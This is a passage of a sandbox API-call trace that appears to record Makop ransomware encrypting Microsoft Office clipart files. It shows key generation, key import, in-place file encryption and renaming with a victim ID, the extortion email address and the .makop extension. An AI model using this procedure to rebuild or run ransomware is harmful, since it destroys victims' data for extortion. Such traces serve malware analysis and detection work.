office\\clipart\\pub60cor\\j0313965.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.979] CloseHandle (hObject=0xf0) returned 1 [0135.979] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0135.979] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG") returned 63 [0135.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.980] GetProcessHeap () returned 0x48a0000 [0135.980] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.981] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0135.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.986] GetProcessHeap () returned 0x48a0000 [0135.986] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.986] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.987] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.987] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.987] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x81ab, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x81ab, lpOverlapped=0x0) returned 1 [0135.989] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x81b0, dwBufLen=0x81b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x81b0) returned 1 [0135.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x81b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x81b0, lpOverlapped=0x0) returned 1 [0135.990] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.990] SetEndOfFile (hFile=0xf0) returned 1 [0135.997] GetProcessHeap () returned 0x48a0000 [0135.997] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.997] GetProcessHeap () returned 0x48a0000 [0135.997] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.997] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.999] CloseHandle (hObject=0xf0) returned 1 [0135.999] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0135.999] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG") returned 63 [0135.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.000] GetProcessHeap () returned 0x48a0000 [0136.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.001] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0136.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.005] GetProcessHeap () returned 0x48a0000 [0136.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.007] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb9d1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb9d1, lpOverlapped=0x0) returned 1 [0136.009] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb9e0, dwBufLen=0xb9e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb9e0) returned 1 [0136.009] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.009] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb9e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb9e0, lpOverlapped=0x0) returned 1 [0136.010] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.010] SetEndOfFile (hFile=0xf0) returned 1 [0136.017] GetProcessHeap () returned 0x48a0000 [0136.017] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.017] GetProcessHeap () returned 0x48a0000 [0136.017] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.017] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.019] CloseHandle (hObject=0xf0) returned 1 [0136.019] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0136.019] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG") returned 63 [0136.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.021] GetProcessHeap () returned 0x48a0000 [0136.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.021] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0136.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.025] GetProcessHeap () returned 0x48a0000 [0136.025] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.026] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.027] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.027] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40f2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40f2, lpOverlapped=0x0) returned 1 [0136.028] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4100, dwBufLen=0x4100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4100) returned 1 [0136.029] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.029] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4100, lpOverlapped=0x0) returned 1 [0136.029] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.029] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.029] SetEndOfFile (hFile=0xf0) returned 1 [0136.037] GetProcessHeap () returned 0x48a0000 [0136.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.037] GetProcessHeap () returned 0x48a0000 [0136.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.037] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.039] CloseHandle (hObject=0xf0) returned 1 [0136.039] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0136.039] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG") returned 63 [0136.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.040] GetProcessHeap () returned 0x48a0000 [0136.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.040] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0136.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.046] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.046] GetProcessHeap () returned 0x48a0000 [0136.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.046] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.046] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.047] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.047] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.047] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.047] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.048] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b02, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b02, lpOverlapped=0x0) returned 1 [0136.049] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b10, dwBufLen=0x4b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b10) returned 1 [0136.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b10, lpOverlapped=0x0) returned 1 [0136.050] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.050] SetEndOfFile (hFile=0xf0) returned 1 [0136.057] GetProcessHeap () returned 0x48a0000 [0136.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.057] GetProcessHeap () returned 